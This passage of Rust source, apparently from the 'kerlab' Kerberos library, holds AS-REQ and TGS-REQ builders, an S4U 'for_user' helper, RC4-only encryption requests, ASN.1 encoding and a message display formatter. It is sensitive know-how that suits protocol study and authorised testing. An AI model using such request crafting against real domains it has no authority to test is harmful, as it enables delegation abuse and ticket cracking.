0x00000001, 20 | Renew = 0x00000002, 21 | Unused29 = 0x00000004, 22 | EncTktInsKey = 0x00000008, 23 | RenewableOk = 0x00000010, 24 | DisableTransitedCheck = 0x00000020, 25 | Unused16 = 0x0000FFC0, 26 | ConstrainedDelegation = 0x00020000, 27 | Canonocalize = 0x00010000, 28 | CNameInAddLTkt = 0x00004000, 29 | OkAsDelegate = 0x00040000, 30 | Unused12 = 0x00080000, 31 | OpthardwareAuth = 0x00100000, 32 | PreAuthent = 0x00200000, 33 | Initial = 0x00400000, 34 | Renewable = 0x00800000, 35 | Unused7 = 0x01000000, 36 | PostDated = 0x02000000, 37 | AllowPostDate = 0x04000000, 38 | Proxy = 0x08000000, 39 | Proxiable = 0x10000000, 40 | Forwarded = 0x20000000, 41 | Forwardable = 0x40000000, 42 | Reserved = 0x80000000, 43 | } 44 | 45 | impl KdcOptionsType { 46 | fn join(options: &[KdcOptionsType]) -> u32 { 47 | let mut result = 0; 48 | for e in options { 49 | result |= *e as u32; 50 | } 51 | result 52 | } 53 | } 54 | 55 | /// @see https://www.freesoft.org/CIE/RFC/1510/55.htm 56 | /// ```asn.1 57 | /// AS-REQ ::= [APPLICATION 10] KDC-REQ 58 | /// ``` 59 | pub type AsReq = Application<10, KdcReq>; 60 | 61 | impl AsReq { 62 | /// constructor 63 | pub fn new(domain: &str, username: &str, options: &[KdcOptionsType]) -> KerlabResult { 64 | Ok(AsReq { 65 | inner: KdcReq { 66 | pvno: Tag::new(5), 67 | msg_type: Tag::new(MessageType::KrbAsReq as Integer), 68 | padata: None, 69 | req_body: Tag::new(KdcReqBody::new( 70 | PrincipalName::new( 71 | PrincipalNameType::NtPrincipal, 72 | vec![ 73 | GeneralString::from_str(username)? 74 | ], 75 | ), 76 | domain, 77 | PrincipalName::new( 78 | PrincipalNameType::NtSrvInst, 79 | vec![ 80 | GeneralString::from_str("krbtgt")?, 81 | GeneralString::from_str(domain)? 82 | ], 83 | ), 84 | KdcOptionsType::join(options), 85 | Utc::now() + Duration::days(1), 86 | )?), 87 | } 88 | }) 89 | } 90 | 91 | /// Add pre authentication stuff for the request 92 | /// see padata.rs 93 | pub fn with_preauth(mut self, key: &EncryptionKey) -> KerlabResult { 94 | if let Some(e) = &mut self.inner.padata { 95 | e.inner.push(PaData::pa_enc_timestamp(key)?); 96 | } else { 97 | self.inner.padata = Some(Tag::new(vec![ 98 | PaData::pa_enc_timestamp(key)? 99 | ])); 100 | } 101 | 102 | Ok(self) 103 | } 104 | } 105 | 106 | /// ```asn1 107 | /// TGS-REQ ::= [APPLICATION 12] KDC-REQ 108 | /// ``` 109 | pub type TgsReq = Application<12, KdcReq>; 110 | 111 | impl TgsReq { 112 | pub fn new(domain: &str, username: &str, sname: PrincipalName, ap_req: &ApReq, options: &[KdcOptionsType]) -> KerlabResult { 113 | Ok(TgsReq { 114 | inner: KdcReq { 115 | pvno: Tag::new(5), 116 | msg_type: Tag::new(MessageType::KrbTgsReq as Integer), 117 | padata: Some(Tag::new(vec![ 118 | PaData::new(PaDataType::PaTgsReq, ap_req) 119 | ])), 120 | req_body: Tag::new(KdcReqBody::new( 121 | PrincipalName::new( 122 | PrincipalNameType::NtPrincipal, 123 | vec![ 124 | GeneralString::from_str(username)? 125 | ], 126 | ), 127 | domain, 128 | sname, 129 | KdcOptionsType::join(options), 130 | Utc::now() + Duration::days(1), 131 | )?), 132 | } 133 | }) 134 | } 135 | 136 | pub fn for_user(mut self, user_name: PrincipalName, user_realm: Realm, key: &EncryptionKey) -> KerlabResult { 137 | if let Some(e) = &mut self.inner.padata { 138 | e.inner.push(PaData::pa_for_user( 139 | user_name, 140 | user_realm, 141 | key, 142 | )?); 143 | } else { 144 | self.inner.padata = Some(Tag::new(vec![ 145 | PaData::pa_for_user( 146 | user_name, 147 | user_realm, 148 | key, 149 | )? 150 | ])); 151 | } 152 | 153 | Ok(self) 154 | } 155 | } 156 | 157 | /// ```asn1 158 | /// KDC-REQ ::= SEQUENCE { 159 | /// pvno[1] INTEGER, 160 | /// msg-type[2] INTEGER, 161 | /// padata[3] SEQUENCE OF PA-DATA OPTIONAL, 162 | /// req-body[4] KDC-REQ-BODY 163 | /// } 164 | /// ``` 165 | #[derive(Sequence, Default, PartialEq, Clone)] 166 | pub struct KdcReq { 167 | pub pvno: Tag<1, Integer>, 168 | pub msg_type: Tag<2, Integer>, 169 | pub padata: Option>>, 170 | pub req_body: Tag<4, KdcReqBody>, 171 | } 172 | 173 | /// ```asn1 174 | /// KDC-REQ-BODY ::= SEQUENCE { 175 | /// kdc-options[0] KDCOptions, 176 | /// cname[1] PrincipalName OPTIONAL, 177 | /// -- Used only in AS-REQ 178 | /// realm[2] Realm, -- Server's realm 179 | /// -- Also client's in AS-REQ 180 | /// sname[3] PrincipalName OPTIONAL, 181 | /// from[4] KerberosTime OPTIONAL, 182 | /// till[5] KerberosTime, 183 | /// rtime[6] KerberosTime OPTIONAL, 184 | /// nonce[7] INTEGER, 185 | /// etype[8] SEQUENCE OF INTEGER, -- EncryptionType, 186 | /// -- in preference order 187 | /// addresses[9] HostAddresses OPTIONAL, 188 | /// enc-authorization-data[10] EncryptedData OPTIONAL, 189 | /// -- Encrypted AuthorizationData encoding 190 | /// additional-tickets[11] SEQUENCE OF Ticket OPTIONAL 191 | /// } 192 | /// ``` 193 | #[derive(Sequence, PartialEq, Default, Clone)] 194 | pub struct KdcReqBody { 195 | pub kdc_options: Tag<0, KDCOptions>, 196 | pub cname: Option>, 197 | pub realm: Tag<2, Realm>, 198 | pub sname: Option>, 199 | pub from: Option>, 200 | pub till: Tag<5, KerberosTime>, 201 | pub rtime: Option>, 202 | pub nonce: Tag<7, Integer>, 203 | pub etype: Tag<8, SequenceOf>, 204 | pub addresses: Option>, 205 | pub enc_authorization_data: Option>, 206 | pub additional_tickets: Option>>, 207 | } 208 | 209 | impl KdcReqBody { 210 | pub fn new(cname: PrincipalName, domain: &str, sname: PrincipalName, kdc_options: u32, till: DateTime) -> KerlabResult { 211 | Ok(Self { 212 | kdc_options: Tag::new(KDCOptions::from_bytes( 213 | &kdc_options.to_be_bytes() 214 | )), 215 | cname: Some(Tag::new(cname)), 216 | realm: Tag::new(GeneralString::from_str(domain)?), 217 | sname: Some(Tag::new(sname)), 218 | from: None, 219 | till: Tag::new(KerberosTime::new(till)), 220 | rtime: None, 221 | nonce: Tag::new(nonce() as Integer), 222 | etype: Tag::new(vec![ 223 | EType::Rc4Hmac as Integer 224 | ]), 225 | addresses: None, 226 | additional_tickets: None, 227 | enc_authorization_data: None, 228 | }) 229 | } 230 | } -------------------------------------------------------------------------------- /src/asn1.rs: -------------------------------------------------------------------------------- 1 | use yasna::{Tag as YasnaTag, DERWriter, BERReader, ASN1Error, ASN1ErrorKind}; 2 | use error::{KerlabResult}; 3 | use yasna::tags::{TAG_GENERALSTRING, TAG_GENERALIZEDTIME}; 4 | use ascii::AsciiString; 5 | use bit_vec::BitVec; 6 | use chrono::{Utc, DateTime, NaiveDateTime}; 7 | use std::ops::{Deref, DerefMut}; 8 | 9 | /// This trait is a wrapper around 10 | /// the yasna library to better declare 11 | /// ASN1 type 12 | pub trait ASN1 { 13 | /// write type into a DERWriter stream 14 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()>; 15 | /// Read the type from an ASN1 BER reader 16 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()>; 17 | } 18 | 19 | /// This type is used to declare an ASN1 type 20 | /// of SEQUENCE OF 21 | /// 22 | /// # Example 23 | /// ``` 24 | /// use kerlab::asn1::{SequenceOf, Integer}; 25 | /// pub type sequence_of_integer = SequenceOf; 26 | /// ``` 27 | pub type SequenceOf = Vec; 28 | 29 | impl ASN1 for SequenceOf { 30 | /// Write in asn1 format a SequenceOf 31 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 32 | writer.write_sequence_of(|sequence| { 33 | for child in self { 34 | child.write_asn1(sequence.next()).unwrap(); 35 | } 36 | }); 37 | Ok(()) 38 | } 39 | 40 | /// Read asn1 sequence 41 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 42 | reader.read_sequence_of(|reader| { 43 | let mut element : T = Default::default(); 44 | element.read_asn1(reader)?; 45 | self.push(element); 46 | Ok(()) 47 | })?; 48 | Ok(()) 49 | } 50 | } 51 | 52 | pub type OctetString = Vec; 53 | 54 | impl ASN1 for OctetString { 55 | 56 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 57 | writer.write_bytes(self.as_slice()); 58 | Ok(()) 59 | } 60 | 61 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 62 | *self = reader.read_bytes()?; 63 | Ok(()) 64 | } 65 | } 66 | 67 | /// Tag is use to mark a field of 68 | /// Sequence with the apropriate number 69 | /// It use a nightly feature 70 | #[derive(PartialEq, Debug, Clone)] 71 | pub struct Tag { 72 | /// The inner object 73 | pub inner: T 74 | } 75 | 76 | impl Tag<{ N }, T> { 77 | /// Constructoer 78 | pub fn new(inner: T) -> Self { 79 | Tag { 80 | inner 81 | } 82 | } 83 | } 84 | 85 | /// Convenient default constructor for type implemented defautl 86 | /// Use very often when reading structure 87 | impl Default for Tag<{ N }, T> { 88 | fn default() -> Self { 89 | Tag::new(T::default()) 90 | } 91 | } 92 | 93 | /// ASN1 implementation 94 | impl ASN1 for Tag<{ N }, T> { 95 | /// Write a tag 96 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 97 | writer.write_tagged(YasnaTag::context({ N }), |writer| { 98 | self.inner.write_asn1(writer) 99 | }) 100 | } 101 | 102 | /// Read a tag with appropriate number 103 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 104 | reader.read_tagged(YasnaTag::context({ N }), |tag_reader| { 105 | Ok(self.inner.read_asn1(tag_reader)?) 106 | })?; 107 | Ok(()) 108 | } 109 | } 110 | 111 | /// We never handle tag directly but the inner reference 112 | /// A common way to avoid .inner call everywhere 113 | impl Deref for Tag<{ N }, T> { 114 | type Target = T; 115 | fn deref(&self) -> &Self::Target { 116 | &self.inner 117 | } 118 | } 119 | 120 | /// We never handle tag directly but the inner reference 121 | /// A common way to avoid .inner call everywhere 122 | impl DerefMut for Tag<{ N }, T> { 123 | fn deref_mut(&mut self) -> &mut Self::Target { 124 | &mut self.inner 125 | } 126 | } 127 | 128 | /// Application is the top message for an ASN1 message 129 | #[derive(Default, PartialEq, Clone)] 130 | pub struct Application { 131 | /// The inner node 132 | pub inner: T 133 | } 134 | 135 | /// ASN1 implementation 136 | impl ASN1 for Application<{ N }, T> { 137 | /// Write an application tag 138 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 139 | writer.write_tagged( 140 | YasnaTag::application({ N }), 141 | |writer| { 142 | self.inner.write_asn1(writer) 143 | } 144 | ) 145 | } 146 | 147 | /// Read an application tag 148 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 149 | reader.read_tagged( 150 | YasnaTag::application({ N }), 151 | |tag_reader| { 152 | Ok(self.inner.read_asn1(tag_reader)?) 153 | } 154 | )?; 155 | Ok(()) 156 | } 157 | } 158 | 159 | /// Use to avoid call of .inner everywhere 160 | impl Deref for Application<{ N }, T> { 161 | type Target = T; 162 | fn deref(&self) -> &Self::Target { 163 | &self.inner 164 | } 165 | } 166 | 167 | /// Use to avoid call of .inner everywhere 168 | impl DerefMut for Application<{ N }, T> { 169 | fn deref_mut(&mut self) -> &mut Self::Target { 170 | &mut self.inner 171 | } 172 | } 173 | 174 | /// An ASN1 Integer 175 | pub type Integer = u32; 176 | 177 | impl ASN1 for Integer { 178 | 179 | /// Write an ASN1 Integer Node 180 | /// using a DERWriter 181 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 182 | writer.write_u32(*self); 183 | Ok(()) 184 | } 185 | 186 | /// Read an ASN1 Integer 187 | /// using a BerReader 188 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 189 | *self = reader.read_u32()?; 190 | Ok(()) 191 | } 192 | } 193 | 194 | /// An ASN1 Integer 195 | pub type SInteger = i32; 196 | 197 | impl ASN1 for SInteger { 198 | 199 | /// Write an ASN1 Integer Node 200 | /// using a DERWriter 201 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 202 | writer.write_i32(*self); 203 | Ok(()) 204 | } 205 | 206 | /// Read an ASN1 Integer 207 | /// using a BerReader 208 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 209 | *self = reader.read_i32()?; 210 | Ok(()) 211 | } 212 | } 213 | 214 | /// ASN1 for boolean 215 | impl ASN1 for bool { 216 | 217 | /// Write an ASN1 boolean Node 218 | /// using a DERWriter 219 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 220 | writer.write_bool(*self); 221 | Ok(()) 222 | } 223 | 224 | /// Read an ASN1 Boolean 225 | /// using a BerReader 226 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 227 | *self = reader.read_bool()?; 228 | Ok(()) 229 | } 230 | } 231 | 232 | /// An ASN1 Enumerate 233 | pub type Enumerate = i64; 234 | 235 | impl ASN1 for Enumerate { 236 | 237 | /// Write an ASN1 Enumerate Node 238 | /// using a DERWriter 239 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 240 | writer.write_enum(*self); 241 | Ok(()) 242 | } 243 | 244 | /// Read an ASN1 Enumerate 245 | /// using a BerReader 246 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 247 | *self = reader.read_enum()?; 248 | Ok(()) 249 | } 250 | } 251 | 252 | /// General string is an alias for ascii string in kerbertos 253 | pub type GeneralString = AsciiString; 254 | 255 | /// ASN1 implementation 256 | impl ASN1 for GeneralString { 257 | /// Write ASN1 258 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 259 | writer.write_tagged_implicit(TAG_GENERALSTRING, |writer| { 260 | writer.write_bytes(self.as_bytes()) 261 | }); 262 | Ok(()) 263 | } 264 | 265 | /// Read ASN1 266 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 267 | *self = reader.read_tagged_implicit(TAG_GENERALSTRING, |reader| { 268 | let bytes = reader.read_bytes()?; 269 | match AsciiString::from_ascii(bytes) { 270 | Ok(string) => Ok(string), 271 | Err(_) => Err(ASN1Error::new(ASN1ErrorKind::Invalid)), 272 | } 273 | })?; 274 | Ok(()) 275 | } 276 | } 277 | 278 | /// Optional field 279 | /// Optional field can be processed or not 280 | /// during sequence reading 281 | impl ASN1 for Option { 282 | /// write ASN1 283 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 284 | if let Some(inner) = self { 285 | inner.write_asn1(writer) 286 | } 287 | else { 288 | Ok(()) 289 | } 290 | } 291 | 292 | /// Read ASN1 293 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 294 | let mut result =T::default(); 295 | if let Ok(()) = result.read_asn1(reader) { 296 | *self = Some(result); 297 | } 298 | Ok(()) 299 | } 300 | } 301 | 302 | /// A wrapper to handle Rust time 303 | /// to use in ASN1 304 | #[derive(PartialEq, Clone)] 305 | pub struct GeneralizedTime { 306 | pub inner : DateTime 307 | } 308 | 309 | impl GeneralizedTime { 310 | /// constructor 311 | pub fn new(date: DateTime) -> Self { 312 | Self { 313 | inner: date 314 | } 315 | } 316 | } 317 | 318 | impl Default for GeneralizedTime { 319 | /// Default use Utc::now time 320 | fn default() -> Self { 321 | Self { 322 | inner: Utc::now() 323 | } 324 | } 325 | } 326 | 327 | /// ASN1 implementation 328 | impl ASN1 for GeneralizedTime { 329 | 330 | /// Write ASN1 331 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 332 | writer.write_tagged_implicit(TAG_GENERALIZEDTIME, |writer| { 333 | writer.write_bytes(self.inner.format("%Y%m%d%H%M%SZ").to_string().as_bytes()) 334 | }); 335 | Ok(()) 336 | } 337 | 338 | /// Read ASN1 339 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 340 | *self = reader.read_tagged_implicit(TAG_GENERALIZEDTIME, |reader| { 341 | let bytes = reader.read_bytes()?; 342 | match NaiveDateTime::parse_from_str(AsciiString::from_ascii(bytes).unwrap().as_str(), "%Y%m%d%H%M%SZ") { 343 | Ok(date) => Ok(Self::new(DateTime::::from_utc(date, Utc))), 344 | Err(_) => Err(ASN1Error::new(ASN1ErrorKind::Invalid)), 345 | } 346 | })?; 347 | Ok(()) 348 | } 349 | } 350 | 351 | /// Use Bitvec for Bitstring 352 | pub type BitString = BitVec; 353 | 354 | impl ASN1 for BitString { 355 | fn write_asn1(&self, writer: DERWriter) -> KerlabResult<()> { 356 | writer.write_bitvec(self); 357 | Ok(()) 358 | } 359 | 360 | fn read_asn1(&mut self, reader: BERReader) -> KerlabResult<()> { 361 | *self = reader.read_bitvec()?; 362 | Ok(()) 363 | } 364 | } 365 | 366 | /// Serialize an ASN1 message into der stream 367 | pub fn to_der(message: &dyn ASN1) -> Vec { 368 | yasna::construct_der(|writer| { 369 | message.write_asn1(writer).unwrap(); 370 | }) 371 | } 372 | 373 | /// Deserialize an ASN1 message from a stream 374 | pub fn from_der(message: &mut dyn ASN1, stream: &[u8]) -> KerlabResult<()> { 375 | Ok(yasna::parse_der(stream, |reader| { 376 | Ok(message.read_asn1(reader)?) 377 | })? 378 | ) 379 | } 380 | 381 | /// Deserialize an ASN1 message from a stream using BER 382 | pub fn from_ber(message: &mut dyn ASN1, stream: &[u8]) -> KerlabResult<()> { 383 | Ok(yasna::parse_ber(stream, |reader| { 384 | Ok(message.read_asn1(reader)?) 385 | })? 386 | ) 387 | } 388 | 389 | #[cfg(test)] 390 | mod test { 391 | use super::*; 392 | use asn1::to_der; 393 | 394 | #[derive(Sequence)] 395 | pub struct TestOption { 396 | field_1: Tag<0, Integer>, 397 | field_2: Option>, 398 | field_3: Tag<2, Integer> 399 | } 400 | 401 | impl TestOption { 402 | pub fn new() -> Self { 403 | Self { 404 | field_1: Tag::new(0), 405 | field_2: None, 406 | field_3: Tag::new(0) 407 | } 408 | } 409 | } 410 | 411 | /// Test format of the first client message 412 | #[test] 413 | fn test_optional_field() { 414 | let mut read_without = TestOption::new(); 415 | from_ber(&mut read_without, &[48, 10, 160, 3, 2, 1, 1, 162, 3, 2, 1, 3]).unwrap(); 416 | assert_eq!(read_without.field_2, None); 417 | 418 | let mut read_with = TestOption::new(); 419 | from_ber(&mut read_with, &[48, 15, 160, 3, 2, 1, 1, 161, 3, 2, 1, 2, 162, 3, 2, 1, 3]).unwrap(); 420 | assert_eq!(*read_with.field_2.unwrap(), 2); 421 | } 422 | } 423 | -------------------------------------------------------------------------------- /src/display.rs: -------------------------------------------------------------------------------- 1 | use krbkdcrep::{KdcRep, EncKDCRepPart}; 2 | use asn1::{Tag, Application, SequenceOf, Integer, OctetString, GeneralString, GeneralizedTime, from_der}; 3 | use padata::PaData; 4 | use base::{PrincipalName, KDCOptions, HostAddress, LastReqBody, AuthorizationDataElement, AuthorizationData}; 5 | use ticket::{TicketBody, EncTicketPartBody, TransitedEncoding}; 6 | use encryption::{EncryptedData, EncryptionKey}; 7 | use krberror::KrbErrorBody; 8 | use krbkdcreq::{KdcReq, KdcReqBody}; 9 | use krbcred::{KrbCredBody, EncKrbCredPartBody, KrbCredInfo}; 10 | use pac::{PacType, PacStruct, PacClientInfo, PacSignatureData, UpnDnsInfo, KerbValidationInfo}; 11 | use ndr::{FileTime, RpcUnicodeString}; 12 | 13 | pub struct Formatter { 14 | indent: u32, 15 | is_indent: bool, 16 | } 17 | 18 | impl Formatter { 19 | pub fn new() -> Self { 20 | Self { 21 | indent: 0, 22 | is_indent: true, 23 | } 24 | } 25 | 26 | 27 | fn print_indent(&self) { 28 | for _ in 0..self.indent { 29 | print!("\t"); 30 | } 31 | } 32 | 33 | pub fn println(&mut self, object: &str) { 34 | if self.is_indent { 35 | self.print_indent(); 36 | } 37 | println!("{}", object); 38 | self.is_indent = true; 39 | } 40 | 41 | pub fn print(&mut self, object: &str) { 42 | if self.is_indent { 43 | self.print_indent(); 44 | } 45 | print!("{}", object); 46 | self.is_indent = false; 47 | } 48 | 49 | pub fn new_line(&mut self) { 50 | print!("\n"); 51 | self.is_indent = true; 52 | } 53 | 54 | pub fn indent(&mut self) { 55 | self.indent += 1; 56 | } 57 | 58 | pub fn dedent(&mut self) { 59 | self.is_indent = true; 60 | self.indent -= 1; 61 | } 62 | } 63 | 64 | pub trait Display { 65 | fn format(&self, f: &mut Formatter); 66 | } 67 | 68 | impl Display for Tag<{ N }, T> { 69 | fn format(&self, f: &mut Formatter) { 70 | f.print(format!("[{}] : ", { N }).as_str()); 71 | self.inner.format(f); 72 | } 73 | } 74 | 75 | impl Display for Application<{ N }, T> { 76 | fn format(&self, f: &mut Formatter) { 77 | f.print(format!("[APPLICATION {}] ", { N }).as_str()); 78 | self.inner.format(f); 79 | f.new_line(); 80 | } 81 | } 82 | 83 | impl Display for KdcRep { 84 | fn format(&self, f: &mut Formatter) { 85 | f.print("KDC-REP"); 86 | f.indent(); 87 | f.new_line(); 88 | f.print("pvno "); 89 | self.pvno.format(f); 90 | f.new_line(); 91 | f.print("msg_type "); 92 | self.msg_type.format(f); 93 | f.new_line(); 94 | f.print("padata "); 95 | self.padata.format(f); 96 | f.new_line(); 97 | f.print("crealm "); 98 | self.crealm.format(f); 99 | f.new_line(); 100 | f.print("cname "); 101 | self.cname.format(f); 102 | f.new_line(); 103 | f.print("ticket "); 104 | self.ticket.format(f); 105 | f.new_line(); 106 | f.print("enc-part "); 107 | self.enc_part.format(f); 108 | f.dedent(); 109 | } 110 | } 111 | 112 | impl Display for Integer { 113 | fn format(&self, f: &mut Formatter) { 114 | f.print(format!("{}", self).as_str()) 115 | } 116 | } 117 | 118 | impl Display for SequenceOf { 119 | fn format(&self, f: &mut Formatter) { 120 | f.print("SEQUENCE OF"); 121 | f.indent(); 122 | for element in self.iter() { 123 | f.new_line(); 124 | element.format(f); 125 | } 126 | f.dedent(); 127 | } 128 | } 129 | 130 | impl Display for Option { 131 | fn format(&self, f: &mut Formatter) { 132 | match self { 133 | Some(e) => e.format(f), 134 | None => f.print("None") 135 | } 136 | } 137 | } 138 | 139 | impl Display for PaData { 140 | fn format(&self, f: &mut Formatter) { 141 | f.print("PA-DATA"); 142 | f.indent(); 143 | f.new_line(); 144 | f.print("padata-type "); 145 | self.padata_type.format(f); 146 | f.new_line(); 147 | f.print("padata-value "); 148 | self.padata_value.format(f); 149 | f.dedent(); 150 | } 151 | } 152 | 153 | impl Display for GeneralString { 154 | fn format(&self, f: &mut Formatter) { 155 | f.print(format!("\"{}\"", self.as_str()).as_str()); 156 | } 157 | } 158 | 159 | impl Display for PrincipalName { 160 | fn format(&self, f: &mut Formatter) { 161 | f.print("PrincipalName"); 162 | f.indent(); 163 | f.new_line(); 164 | f.print("name_type "); 165 | self.name_type.format(f); 166 | f.print( 167 | match self.name_type.inner { 168 | 0 => " (NtUnknown)", 169 | 1 => " (NtPrincipal)", 170 | 2 => " (NtSrvInst)", 171 | 3 => " (NtSrvHst)", 172 | 4 => " (NtSrvXhst)", 173 | 5 => " (NtUid)", 174 | 6 => " (NtX500Principal)", 175 | 7 => " (NtSmtpName)", 176 | 10 => " (NtEnterprise)", 177 | _ => " (UNKNOWN)" 178 | } 179 | ); 180 | f.new_line(); 181 | f.print("name_string "); 182 | self.name_string.format(f); 183 | f.dedent(); 184 | } 185 | } 186 | 187 | impl Display for TicketBody { 188 | fn format(&self, f: &mut Formatter) { 189 | f.print("TicketBody"); 190 | f.indent(); 191 | f.new_line(); 192 | f.print("tkt_vno "); 193 | self.tkt_vno.format(f); 194 | f.new_line(); 195 | f.print("realm "); 196 | self.realm.format(f); 197 | f.new_line(); 198 | f.print("sname "); 199 | self.sname.format(f); 200 | f.new_line(); 201 | f.print("enc_part "); 202 | self.enc_part.format(f); 203 | f.dedent(); 204 | } 205 | } 206 | 207 | impl Display for EncryptedData { 208 | fn format(&self, f: &mut Formatter) { 209 | f.print("EncryptedData"); 210 | f.indent(); 211 | f.new_line(); 212 | f.print("etype "); 213 | self.etype.format(f); 214 | f.print( 215 | match self.etype.inner { 216 | 17 => " (AES-128-CTS-HMAC-SHA-196)", 217 | 18 => " (AES-256-CTS-HMAC-SHA-196)", 218 | 23 => " (RC4-HMAC)", 219 | _ => " (UNKNOWN)" 220 | } 221 | ); 222 | f.new_line(); 223 | f.print("kvno "); 224 | self.kvno.format(f); 225 | f.new_line(); 226 | f.print("cipher "); 227 | self.cipher.format(f); 228 | f.dedent(); 229 | } 230 | } 231 | 232 | impl Display for OctetString { 233 | fn format(&self, f: &mut Formatter) { 234 | f.print(base64::encode(self).as_str()); 235 | } 236 | } 237 | 238 | impl Display for KrbErrorBody { 239 | fn format(&self, f: &mut Formatter) { 240 | f.print("KrbErrorBody"); 241 | f.indent(); 242 | f.new_line(); 243 | f.print("pvno "); 244 | self.pvno.format(f); 245 | f.new_line(); 246 | f.print("msg-type "); 247 | self.msg_type.format(f); 248 | f.new_line(); 249 | f.print("ctime "); 250 | self.ctime.format(f); 251 | f.new_line(); 252 | f.print("cusec "); 253 | self.cusec.format(f); 254 | f.new_line(); 255 | f.print("stime "); 256 | self.stime.format(f); 257 | f.new_line(); 258 | f.print("susec "); 259 | self.susec.format(f); 260 | f.new_line(); 261 | f.print("error_code "); 262 | self.error_code.format(f); 263 | f.print( 264 | match self.error_code.inner { 265 | 0 => " (KDC_ERR_NONE: No error)", 266 | 1 => " (KDC_ERR_NAME_EXP: Client's entry in database has expired)", 267 | 2 => " (KDC_ERR_SERVICE_EXP: Server's entry in database has expired)", 268 | 3 => " (KDC_ERR_BAD_PVNO: Requested protocol version number not supported)", 269 | 4 => " (KDC_ERR_C_OLD_MAST_KVNO: Client's key encrypted in old master key)", 270 | 5 => " (KDC_ERR_S_OLD_MAST_KVNO: Server's key encrypted in old master key)", 271 | 6 => " (KDC_ERR_C_PRINCIPAL_UNKNOWN: Client not found in Kerberos database)", 272 | 7 => " (KDC_ERR_S_PRINCIPAL_UNKNOWN: Server not found in Kerberos database)", 273 | 8 => " (KDC_ERR_PRINCIPAL_NOT_UNIQUE: Multiple principal entries in database)", 274 | 9 => " (KDC_ERR_NULL_KEY: The client or server has a null key)", 275 | 10 => " (KDC_ERR_CANNOT_POSTDATE: Ticket not eligible for postdating)", 276 | 11 => " (KDC_ERR_NEVER_VALID: Requested start time is later than end time)", 277 | 12 => " (KDC_ERR_POLICY: KDC policy rejects request)", 278 | 13 => " (KDC_ERR_BADOPTION: KDC cannot accommodate requested option)", 279 | 14 => " (KDC_ERR_ETYPE_NOSUPP: KDC has no support for encryption type)", 280 | 15 => " (KDC_ERR_SUMTYPE_NOSUPP: KDC has no support for checksum type)", 281 | 16 => " (KDC_ERR_PADATA_TYPE_NOSUPP: KDC has no support for padata type)", 282 | 17 => " (KDC_ERR_TRTYPE_NOSUPP: KDC has no support for transited type)", 283 | 18 => " (KDC_ERR_CLIENT_REVOKED: Clients credentials have been revoked)", 284 | 19 => " (KDC_ERR_SERVICE_REVOKED: Credentials for server have been revoked)", 285 | 20 => " (KDC_ERR_TGT_REVOKED: TGT has been revoked)", 286 | 21 => " (KDC_ERR_CLIENT_NOTYET: Client not yet valid - try again later)", 287 | 22 => " (KDC_ERR_SERVICE_NOTYET: Server not yet valid - try again later)", 288 | 23 => " (KDC_ERR_KEY_EXPIRED: Password has expired - change password to reset)", 289 | 24 => " (KDC_ERR_PREAUTH_FAILED: Pre-authentication information was invalid)", 290 | 25 => " (KDC_ERR_PREAUTH_REQUIRED: Additional pre-authentication required)", 291 | 31 => " (KRB_AP_ERR_BAD_INTEGRITY: Integrity check on decrypted field failed)", 292 | 32 => " (KRB_AP_ERR_TKT_EXPIRED: Ticket expired)", 293 | 33 => " (KRB_AP_ERR_TKT_NYV: Ticket not yet valid)", 294 | 34 => " (KRB_AP_ERR_REPEAT: Request is a replay)", 295 | 35 => " (KRB_AP_ERR_NOT_US: The ticket isn't for us)", 296 | 36 => " (KRB_AP_ERR_BADMATCH: Ticket and authenticator don't match)", 297 | 37 => " (KRB_AP_ERR_SKEW: Clock skew too great)", 298 | 38 => " (KRB_AP_ERR_BADADDR: Incorrect net address)", 299 | 39 => " (KRB_AP_ERR_BADVERSION: Protocol version mismatch)", 300 | 40 => " (KRB_AP_ERR_MSG_TYPE: Invalid msg type)", 301 | 41 => " (KRB_AP_ERR_MODIFIED: Message stream modified)", 302 | 42 => " (KRB_AP_ERR_BADORDER: Message out of order)", 303 | 44 => " (KRB_AP_ERR_BADKEYVER: Specified version of key is not available)", 304 | 45 => " (KRB_AP_ERR_NOKEY: Service key not available)", 305 | 46 => " (KRB_AP_ERR_MUT_FAIL: Mutual authentication failed)", 306 | 47 => " (KRB_AP_ERR_BADDIRECTION: Incorrect message direction)", 307 | 48 => " (KRB_AP_ERR_METHOD: Alternative authentication method required)", 308 | 49 => " (KRB_AP_ERR_BADSEQ: Incorrect sequence number in message)", 309 | 50 => " (KRB_AP_ERR_INAPP_CKSUM: Inappropriate type of checksum in message)", 310 | 60 => " (KRB_ERR_GENERIC: Generic error (description in e-text))", 311 | 61 => " (KRB_ERR_FIELD_TOOLONG: Field is too long for this implementation)", 312 | _ => " (Unknown)" 313 | } 314 | ); 315 | f.new_line(); 316 | f.print("crealm "); 317 | self.crealm.format(f); 318 | f.new_line(); 319 | f.print("realm "); 320 | self.realm.format(f); 321 | f.new_line(); 322 | f.print("sname "); 323 | self.sname.format(f); 324 | f.new_line(); 325 | f.print("e_text "); 326 | self.e_text.format(f); 327 | f.new_line(); 328 | f.print("e_data "); 329 | self.e_data.format(f); 330 | f.dedent(); 331 | } 